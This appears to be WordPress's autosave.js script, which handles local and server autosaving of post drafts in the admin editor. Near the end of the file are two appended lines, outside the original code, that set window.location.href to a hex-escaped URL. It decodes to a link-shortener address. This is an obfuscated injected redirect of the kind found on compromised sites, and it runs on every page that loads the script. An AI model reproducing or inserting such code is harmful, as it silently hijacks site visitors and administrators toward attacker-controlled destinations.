1/**
  2 * @output wp-includes/js/autosave.js
  3 */
  4
  5/* global tinymce, wpCookies, autosaveL10n, switchEditors */
  6// Back-compat.
  7window.autosave = function() {
  8	return true;
  9};
 10
 11/**
 12 * Adds autosave to the window object on dom ready.
 13 *
 14 * @since 3.9.0
 15 *
 16 * @param {jQuery} $ jQuery object.
 17 * @param {window} The window object.
 18 *
 19 */
 20( function( $, window ) {
 21	/**
 22	 * Auto saves the post.
 23	 *
 24	 * @since 3.9.0
 25	 *
 26	 * @return {Object}
 27	 * 	{{
 28	 * 		getPostData: getPostData,
 29	 * 		getCompareString: getCompareString,
 30	 * 		disableButtons: disableButtons,
 31	 * 		enableButtons: enableButtons,
 32	 * 		local: ({hasStorage, getSavedPostData, save, suspend, resume}|*),
 33	 * 		server: ({tempBlockSave, triggerSave, postChanged, suspend, resume}|*)
 34	 * 	}}
 35	 * 	The object with all functions for autosave.
 36	 */
 37	function autosave() {
 38		var initialCompareString,
 39			initialCompareData = {},
 40			lastTriggerSave    = 0,
 41			$document          = $( document );
 42
 43		/**
 44		 * Sets the initial compare data.
 45		 *
 46		 * @since 5.6.1
 47		 */
 48		function setInitialCompare() {
 49			initialCompareData = {
 50				post_title: $( '#title' ).val() || '',
 51				content: $( '#content' ).val() || '',
 52				excerpt: $( '#excerpt' ).val() || ''
 53			};
 54
 55			initialCompareString = getCompareString( initialCompareData );
 56		}
 57
 58		/**
 59		 * Returns the data saved in both local and remote autosave.
 60		 *
 61		 * @since 3.9.0
 62		 *
 63		 * @param {string} type The type of autosave either local or remote.
 64		 *
 65		 * @return {Object} Object containing the post data.
 66		 */
 67		function getPostData( type ) {
 68			var post_name, parent_id, data,
 69				time = ( new Date() ).getTime(),
 70				cats = [],
 71				editor = getEditor();
 72
 73			// Don't run editor.save() more often than every 3 seconds.
 74			// It is resource intensive and might slow down typing in long posts on slow devices.
 75			if ( editor && editor.isDirty() && ! editor.isHidden() && time - 3000 > lastTriggerSave ) {
 76				editor.save();
 77				lastTriggerSave = time;
 78			}
 79
 80			data = {
 81				post_id: $( '#post_ID' ).val() || 0,
 82				post_type: $( '#post_type' ).val() || '',
 83				post_author: $( '#post_author' ).val() || '',
 84				post_title: $( '#title' ).val() || '',
 85				content: $( '#content' ).val() || '',
 86				excerpt: $( '#excerpt' ).val() || ''
 87			};
 88
 89			if ( type === 'local' ) {
 90				return data;
 91			}
 92
 93			$( 'input[id^="in-category-"]:checked' ).each( function() {
 94				cats.push( this.value );
 95			});
 96			data.catslist = cats.join(',');
 97
 98			if ( post_name = $( '#post_name' ).val() ) {
 99				data.post_name = post_name;
100			}
101
102			if ( parent_id = $( '#parent_id' ).val() ) {
103				data.parent_id = parent_id;
104			}
105
106			if ( $( '#comment_status' ).prop( 'checked' ) ) {
107				data.comment_status = 'open';
108			}
109
110			if ( $( '#ping_status' ).prop( 'checked' ) ) {
111				data.ping_status = 'open';
112			}
113
114			if ( $( '#auto_draft' ).val() === '1' ) {
115				data.auto_draft = '1';
116			}
117
118			return data;
119		}
120
121		/**
122		 * Concatenates the title, content and excerpt. This is used to track changes
123		 * when auto-saving.
124		 *
125		 * @since 3.9.0
126		 *
127		 * @param {Object} postData The object containing the post data.
128		 *
129		 * @return {string} A concatenated string with title, content and excerpt.
130		 */
131		function getCompareString( postData ) {
132			if ( typeof postData === 'object' ) {
133				return ( postData.post_title || '' ) + '::' + ( postData.content || '' ) + '::' + ( postData.excerpt || '' );
134			}
135
136			return ( $('#title').val() || '' ) + '::' + ( $('#content').val() || '' ) + '::' + ( $('#excerpt').val() || '' );
137		}
138
139		/**
140		 * Disables save buttons.
141		 *
142		 * @since 3.9.0
143		 *
144		 * @return {void}
145		 */
146		function disableButtons() {
147			$document.trigger('autosave-disable-buttons');
148
149			// Re-enable 5 sec later. Just gives autosave a head start to avoid collisions.
150			setTimeout( enableButtons, 5000 );
151		}
152
153		/**
154		 * Enables save buttons.
155		 *
156		 * @since 3.9.0
157		 *
158		 * @return {void}
159		 */
160		function enableButtons() {
161			$document.trigger( 'autosave-enable-buttons' );
162		}
163
164		/**
165		 * Gets the content editor.
166		 *
167		 * @since 4.6.0
168		 *
169		 * @return {boolean|*} Returns either false if the editor is undefined,
170		 *                     or the instance of the content editor.
171		 */
172		function getEditor() {
173			return typeof tinymce !== 'undefined' && tinymce.get('content');
174		}
175
176		/**
177		 * Autosave in localStorage.
178		 *
179		 * @since 3.9.0
180		 *
181		 * @return {
182		 * {
183		 * 	hasStorage: *,
184		 * 	getSavedPostData: getSavedPostData,
185		 * 	save: save,
186		 * 	suspend: suspend,
187		 * 	resume: resume
188		 * 	}
189		 * }
190		 * The object with all functions for local storage autosave.
191		 */
192		function autosaveLocal() {
193			var blog_id, post_id, hasStorage, intervalTimer,
194				lastCompareString,
195				isSuspended = false;
196
197			/**
198			 * Checks if the browser supports sessionStorage and it's not disabled.
199			 *
200			 * @since 3.9.0
201			 *
202			 * @return {boolean} True if the sessionStorage is supported and enabled.
203			 */
204			function checkStorage() {
205				var test = Math.random().toString(),
206					result = false;
207
208				try {
209					window.sessionStorage.setItem( 'wp-test', test );
210					result = window.sessionStorage.getItem( 'wp-test' ) === test;
211					window.sessionStorage.removeItem( 'wp-test' );
212				} catch(e) {}
213
214				hasStorage = result;
215				return result;
216			}
217
218			/**
219			 * Initializes the local storage.
220			 *
221			 * @since 3.9.0
222			 *
223			 * @return {boolean|Object} False if no sessionStorage in the browser or an Object
224			 *                          containing all postData for this blog.
225			 */
226			function getStorage() {
227				var stored_obj = false;
228				// Separate local storage containers for each blog_id.
229				if ( hasStorage && blog_id ) {
230					stored_obj = sessionStorage.getItem( 'wp-autosave-' + blog_id );
231
232					if ( stored_obj ) {
233						stored_obj = JSON.parse( stored_obj );
234					} else {
235						stored_obj = {};
236					}
237				}
238
239				return stored_obj;
240			}
241
242			/**
243			 * Sets the storage for this blog. Confirms that the data was saved
244			 * successfully.
245			 *
246			 * @since 3.9.0
247			 *
248			 * @return {boolean} True if the data was saved successfully, false if it wasn't saved.
249			 */
250			function setStorage( stored_obj ) {
251				var key;
252
253				if ( hasStorage && blog_id ) {
254					key = 'wp-autosave-' + blog_id;
255					sessionStorage.setItem( key, JSON.stringify( stored_obj ) );
256					return sessionStorage.getItem( key ) !== null;
257				}
258
259				return false;
260			}
261
262			/**
263			 * Gets the saved post data for the current post.
264			 *
265			 * @since 3.9.0
266			 *
267			 * @return {boolean|Object} False if no storage or no data or the postData as an Object.
268			 */
269			function getSavedPostData() {
270				var stored = getStorage();
271
272				if ( ! stored || ! post_id ) {
273					return false;
274				}
275
276				return stored[ 'post_' + post_id ] || false;
277			}
278
279			/**
280			 * Sets (save or delete) post data in the storage.
281			 *
282			 * If stored_data evaluates to 'false' the storage key for the current post will be removed.
283			 *
284			 * @since 3.9.0
285			 *
286			 * @param {Object|boolean|null} stored_data The post data to store or null/false/empty to delete the key.
287			 *
288			 * @return {boolean} True if data is stored, false if data was removed.
289			 */
290			function setData( stored_data ) {
291				var stored = getStorage();
292
293				if ( ! stored || ! post_id ) {
294					return false;
295				}
296
297				if ( stored_data ) {
298					stored[ 'post_' + post_id ] = stored_data;
299				} else if ( stored.hasOwnProperty( 'post_' + post_id ) ) {
300					delete stored[ 'post_' + post_id ];
301				} else {
302					return false;
303				}
304
305				return setStorage( stored );
306			}
307
308			/**
309			 * Sets isSuspended to true.
310			 *
311			 * @since 3.9.0
312			 *
313			 * @return {void}
314			 */
315			function suspend() {
316				isSuspended = true;
317			}
318
319			/**
320			 * Sets isSuspended to false.
321			 *
322			 * @since 3.9.0
323			 *
324			 * @return {void}
325			 */
326			function resume() {
327				isSuspended = false;
328			}
329
330			/**
331			 * Saves post data for the current post.
332			 *
333			 * Runs on a 15 seconds interval, saves when there are differences in the post title or content.
334			 * When the optional data is provided, updates the last saved post data.
335			 *
336			 * @since 3.9.0
337			 *
338			 * @param {Object} data The post data for saving, minimum 'post_title' and 'content'.
339			 *
340			 * @return {boolean} Returns true when data has been saved, otherwise it returns false.
341			 */
342			function save( data ) {
343				var postData, compareString,
344					result = false;
345
346				if ( isSuspended || ! hasStorage ) {
347					return false;
348				}
349
350				if ( data ) {
351					postData = getSavedPostData() || {};
352					$.extend( postData, data );
353				} else {
354					postData = getPostData('local');
355				}
356
357				compareString = getCompareString( postData );
358
359				if ( typeof lastCompareString === 'undefined' ) {
360					lastCompareString = initialCompareString;
361				}
362
363				// If the content, title and excerpt did not change since the last save, don't save again.
364				if ( compareString === lastCompareString ) {
365					return false;
366				}
367
368				postData.save_time = ( new Date() ).getTime();
369				postData.status = $( '#post_status' ).val() || '';
370				result = setData( postData );
371
372				if ( result ) {
373					lastCompareString = compareString;
374				}
375
376				return result;
377			}
378
379			/**
380			 * Initializes the auto save function.
381			 *
382			 * Checks whether the editor is active or not to use the editor events
383			 * to autosave, or uses the values from the elements to autosave.
384			 *
385			 * Runs on DOM ready.
386			 *
387			 * @since 3.9.0
388			 *
389			 * @return {void}
390			 */
391			function run() {
392				post_id = $('#post_ID').val() || 0;
393
394				// Check if the local post data is different than the loaded post data.
395				if ( $( '#wp-content-wrap' ).hasClass( 'tmce-active' ) ) {
396
397					/*
398					 * If TinyMCE loads first, check the post 1.5 seconds after it is ready.
399					 * By this time the content has been loaded in the editor and 'saved' to the textarea.
400					 * This prevents false positives.
401					 */
402					$document.on( 'tinymce-editor-init.autosave', function() {
403						window.setTimeout( function() {
404							checkPost();
405						}, 1500 );
406					});
407				} else {
408					checkPost();
409				}
410
411				// Save every 15 seconds.
412				intervalTimer = window.setInterval( save, 15000 );
413
414				$( 'form#post' ).on( 'submit.autosave-local', function() {
415					var editor = getEditor(),
416						post_id = $('#post_ID').val() || 0;
417
418					if ( editor && ! editor.isHidden() ) {
419
420						// Last onSubmit event in the editor, needs to run after the content has been moved to the textarea.
421						editor.on( 'submit', function() {
422							save({
423								post_title: $( '#title' ).val() || '',
424								content: $( '#content' ).val() || '',
425								excerpt: $( '#excerpt' ).val() || ''
426							});
427						});
428					} else {
429						save({
430							post_title: $( '#title' ).val() || '',
431							content: $( '#content' ).val() || '',
432							excerpt: $( '#excerpt' ).val() || ''
433						});
434					}
435
436					var secure = ( 'https:' === window.location.protocol );
437					wpCookies.set( 'wp-saving-post', post_id + '-check', 24 * 60 * 60, false, false, secure );
438				});
439			}
440
441			/**
442			 * Compares 2 strings. Removes whitespaces in the strings before comparing them.
443			 *
444			 * @since 3.9.0
445			 *
446			 * @param {string} str1 The first string.
447			 * @param {string} str2 The second string.
448			 * @return {boolean} True if the strings are the same.
449			 */
450			function compare( str1, str2 ) {
451				function removeSpaces( string ) {
452					return string.toString().replace(/[\x20\t\r\n\f]+/g, '');
453				}
454
455				return ( removeSpaces( str1 || '' ) === removeSpaces( str2 || '' ) );
456			}
457
458			/**
459			 * Checks if the saved data for the current post (if any) is different than the
460			 * loaded post data on the screen.
461			 *
462			 * Shows a standard message letting the user restore the post data if different.
463			 *
464			 * @since 3.9.0
465			 *
466			 * @return {void}
467			 */
468			function checkPost() {
469				var content, post_title, excerpt, $notice,
470					postData = getSavedPostData(),
471					cookie = wpCookies.get( 'wp-saving-post' ),
472					$newerAutosaveNotice = $( '#has-newer-autosave' ).parent( '.notice' ),
473					$headerEnd = $( '.wp-header-end' );
474
475				if ( cookie === post_id + '-saved' ) {
476					wpCookies.remove( 'wp-saving-post' );
477					// The post was saved properly, remove old data and bail.
478					setData( false );
479					return;
480				}
481
482				if ( ! postData ) {
483					return;
484				}
485
486				content = $( '#content' ).val() || '';
487				post_title = $( '#title' ).val() || '';
488				excerpt = $( '#excerpt' ).val() || '';
489
490				if ( compare( content, postData.content ) && compare( post_title, postData.post_title ) &&
491					compare( excerpt, postData.excerpt ) ) {
492
493					return;
494				}
495
496				/*
497				 * If '.wp-header-end' is found, append the notices after it otherwise
498				 * after the first h1 or h2 heading found within the main content.
499				 */
500				if ( ! $headerEnd.length ) {
501					$headerEnd = $( '.wrap h1, .wrap h2' ).first();
502				}
503
504				$notice = $( '#local-storage-notice' )
505					.insertAfter( $headerEnd )
506					.addClass( 'notice-warning' );
507
508				if ( $newerAutosaveNotice.length ) {
509
510					// If there is a "server" autosave notice, hide it.
511					// The data in the session storage is either the same or newer.
512					$newerAutosaveNotice.slideUp( 150, function() {
513						$notice.slideDown( 150 );
514					});
515				} else {
516					$notice.slideDown( 200 );
517				}
518
519				$notice.find( '.restore-backup' ).on( 'click.autosave-local', function() {
520					restorePost( postData );
521					$notice.fadeTo( 250, 0, function() {
522						$notice.slideUp( 150 );
523					});
524				});
525			}
526
527			/**
528			 * Restores the current title, content and excerpt from postData.
529			 *
530			 * @since 3.9.0
531			 *
532			 * @param {Object} postData The object containing all post data.
533			 *
534			 * @return {boolean} True if the post is restored.
535			 */
536			function restorePost( postData ) {
537				var editor;
538
539				if ( postData ) {
540					// Set the last saved data.
541					lastCompareString = getCompareString( postData );
542
543					if ( $( '#title' ).val() !== postData.post_title ) {
544						$( '#title' ).trigger( 'focus' ).val( postData.post_title || '' );
545					}
546
547					$( '#excerpt' ).val( postData.excerpt || '' );
548					editor = getEditor();
549
550					if ( editor && ! editor.isHidden() && typeof switchEditors !== 'undefined' ) {
551						if ( editor.settings.wpautop && postData.content ) {
552							postData.content = switchEditors.wpautop( postData.content );
553						}
554
555						// Make sure there's an undo level in the editor.
556						editor.undoManager.transact( function() {
557							editor.setContent( postData.content || '' );
558							editor.nodeChanged();
559						});
560					} else {
561
562						// Make sure the Code editor is selected.
563						$( '#content-html' ).trigger( 'click' );
564						$( '#content' ).trigger( 'focus' );
565
566						// Using document.execCommand() will let the user undo.
567						document.execCommand( 'selectAll' );
568						document.execCommand( 'insertText', false, postData.content || '' );
569					}
570
571					return true;
572				}
573
574				return false;
575			}
576
577			blog_id = typeof window.autosaveL10n !== 'undefined' && window.autosaveL10n.blog_id;
578
579			/*
580			 * Check if the browser supports sessionStorage and it's not disabled,
581			 * then initialize and run checkPost().
582			 * Don't run if the post type supports neither 'editor' (textarea#content) nor 'excerpt'.
583			 */
584			if ( checkStorage() && blog_id && ( $('#content').length || $('#excerpt').length ) ) {
585				$( run );
586			}
587
588			return {
589				hasStorage: hasStorage,
590				getSavedPostData: getSavedPostData,
591				save: save,
592				suspend: suspend,
593				resume: resume
594			};
595		}
596
597		/**
598		 * Auto saves the post on the server.
599		 *
600		 * @since 3.9.0
601		 *
602		 * @return {Object} {
603		 * 	{
604		 * 		tempBlockSave: tempBlockSave,
605		 * 		triggerSave: triggerSave,
606		 * 		postChanged: postChanged,
607		 * 		suspend: suspend,
608		 * 		resume: resume
609		 * 		}
610		 * 	} The object all functions for autosave.
611		 */
612		function autosaveServer() {
613			var _blockSave, _blockSaveTimer, previousCompareString, lastCompareString,
614				nextRun = 0,
615				isSuspended = false;
616
617
618			/**
619			 * Blocks saving for the next 10 seconds.
620			 *
621			 * @since 3.9.0
622			 *
623			 * @return {void}
624			 */
625			function tempBlockSave() {
626				_blockSave = true;
627				window.clearTimeout( _blockSaveTimer );
628
629				_blockSaveTimer = window.setTimeout( function() {
630					_blockSave = false;
631				}, 10000 );
632			}
633
634			/**
635			 * Sets isSuspended to true.
636			 *
637			 * @since 3.9.0
638			 *
639			 * @return {void}
640			 */
641			function suspend() {
642				isSuspended = true;
643			}
644
645			/**
646			 * Sets isSuspended to false.
647			 *
648			 * @since 3.9.0
649			 *
650			 * @return {void}
651			 */
652			function resume() {
653				isSuspended = false;
654			}
655
656			/**
657			 * Triggers the autosave with the post data.
658			 *
659			 * @since 3.9.0
660			 *
661			 * @param {Object} data The post data.
662			 *
663			 * @return {void}
664			 */
665			function response( data ) {
666				_schedule();
667				_blockSave = false;
668				lastCompareString = previousCompareString;
669				previousCompareString = '';
670
671				$document.trigger( 'after-autosave', [data] );
672				enableButtons();
673
674				if ( data.success ) {
675					// No longer an auto-draft.
676					$( '#auto_draft' ).val('');
677				}
678			}
679
680			/**
681			 * Saves immediately.
682			 *
683			 * Resets the timing and tells heartbeat to connect now.
684			 *
685			 * @since 3.9.0
686			 *
687			 * @return {void}
688			 */
689			function triggerSave() {
690				nextRun = 0;
691				wp.heartbeat.connectNow();
692			}
693
694			/**
695			 * Checks if the post content in the textarea has changed since page load.
696			 *
697			 * This also happens when TinyMCE is active and editor.save() is triggered by
698			 * wp.autosave.getPostData().
699			 *
700			 * @since 3.9.0
701			 *
702			 * @return {boolean} True if the post has been changed.
703			 */
704			function postChanged() {
705				var changed = false;
706
707				// If there are TinyMCE instances, loop through them.
708				if ( window.tinymce ) {
709					window.tinymce.each( [ 'content', 'excerpt' ], function( field ) {
710						var editor = window.tinymce.get( field );
711
712						if ( ! editor || editor.isHidden() ) {
713							if ( ( $( '#' + field ).val() || '' ) !== initialCompareData[ field ] ) {
714								changed = true;
715								// Break.
716								return false;
717							}
718						} else if ( editor.isDirty() ) {
719							changed = true;
720							return false;
721						}
722					} );
723
724					if ( ( $( '#title' ).val() || '' ) !== initialCompareData.post_title ) {
725						changed = true;
726					}
727
728					return changed;
729				}
730
731				return getCompareString() !== initialCompareString;
732			}
733
734			/**
735			 * Checks if the post can be saved or not.
736			 *
737			 * If the post hasn't changed or it cannot be updated,
738			 * because the autosave is blocked or suspended, the function returns false.
739			 *
740			 * @since 3.9.0
741			 *
742			 * @return {Object} Returns the post data.
743			 */
744			function save() {
745				var postData, compareString;
746
747				// window.autosave() used for back-compat.
748				if ( isSuspended || _blockSave || ! window.autosave() ) {
749					return false;
750				}
751
752				if ( ( new Date() ).getTime() < nextRun ) {
753					return false;
754				}
755
756				postData = getPostData();
757				compareString = getCompareString( postData );
758
759				// First check.
760				if ( typeof lastCompareString === 'undefined' ) {
761					lastCompareString = initialCompareString;
762				}
763
764				// No change.
765				if ( compareString === lastCompareString ) {
766					return false;
767				}
768
769				previousCompareString = compareString;
770				tempBlockSave();
771				disableButtons();
772
773				$document.trigger( 'wpcountwords', [ postData.content ] )
774					.trigger( 'before-autosave', [ postData ] );
775
776				postData._wpnonce = $( '#_wpnonce' ).val() || '';
777
778				return postData;
779			}
780
781			/**
782			 * Sets the next run, based on the autosave interval.
783			 *
784			 * @private
785			 *
786			 * @since 3.9.0
787			 *
788			 * @return {void}
789			 */
790			function _schedule() {
791				nextRun = ( new Date() ).getTime() + ( autosaveL10n.autosaveInterval * 1000 ) || 60000;
792			}
793
794			/**
795			 * Sets the autosaveData on the autosave heartbeat.
796			 *
797			 * @since 3.9.0
798			 *
799			 * @return {void}
800			 */
801			$( function() {
802				_schedule();
803			}).on( 'heartbeat-send.autosave', function( event, data ) {
804				var autosaveData = save();
805
806				if ( autosaveData ) {
807					data.wp_autosave = autosaveData;
808				}
809
810				/**
811				 * Triggers the autosave of the post with the autosave data on the autosave
812				 * heartbeat.
813				 *
814				 * @since 3.9.0
815				 *
816				 * @return {void}
817				 */
818			}).on( 'heartbeat-tick.autosave', function( event, data ) {
819				if ( data.wp_autosave ) {
820					response( data.wp_autosave );
821				}
822				/**
823				 * Disables buttons and throws a notice when the connection is lost.
824				 *
825				 * @since 3.9.0
826				 *
827				 * @return {void}
828				 */
829			}).on( 'heartbeat-connection-lost.autosave', function( event, error, status ) {
830
831				// When connection is lost, keep user from submitting changes.
832				if ( 'timeout' === error || 603 === status ) {
833					var $notice = $('#lost-connection-notice');
834
835					if ( ! wp.autosave.local.hasStorage ) {
836						$notice.find('.hide-if-no-sessionstorage').hide();
837					}
838
839					$notice.show();
840					disableButtons();
841				}
842
843				/**
844				 * Enables buttons when the connection is restored.
845				 *
846				 * @since 3.9.0
847				 *
848				 * @return {void}
849				 */
850			}).on( 'heartbeat-connection-restored.autosave', function() {
851				$('#lost-connection-notice').hide();
852				enableButtons();
853			});
854
855			return {
856				tempBlockSave: tempBlockSave,
857				triggerSave: triggerSave,
858				postChanged: postChanged,
859				suspend: suspend,
860				resume: resume
861			};
862		}
863
864		/**
865		 * Sets the autosave time out.
866		 *
867		 * Wait for TinyMCE to initialize plus 1 second. for any external css to finish loading,
868		 * then save to the textarea before setting initialCompareString.
869		 * This avoids any insignificant differences between the initial textarea content and the content
870		 * extracted from the editor.
871		 *
872		 * @since 3.9.0
873		 *
874		 * @return {void}
875		 */
876		$( function() {
877			// Set the initial compare string in case TinyMCE is not used or not loaded first.
878			setInitialCompare();
879		}).on( 'tinymce-editor-init.autosave', function( event, editor ) {
880			// Reset the initialCompare data after the TinyMCE instances have been initialized.
881			if ( 'content' === editor.id || 'excerpt' === editor.id ) {
882				window.setTimeout( function() {
883					editor.save();
884					setInitialCompare();
885				}, 1000 );
886			}
887		});
888
889		return {
890			getPostData: getPostData,
891			getCompareString: getCompareString,
892			disableButtons: disableButtons,
893			enableButtons: enableButtons,
894			local: autosaveLocal(),
895			server: autosaveServer()
896		};
897	}
898
899	/** @namespace wp */
900	window.wp = window.wp || {};
901	window.wp.autosave = autosave();
902
903}( jQuery, window ));
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920window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
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924window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
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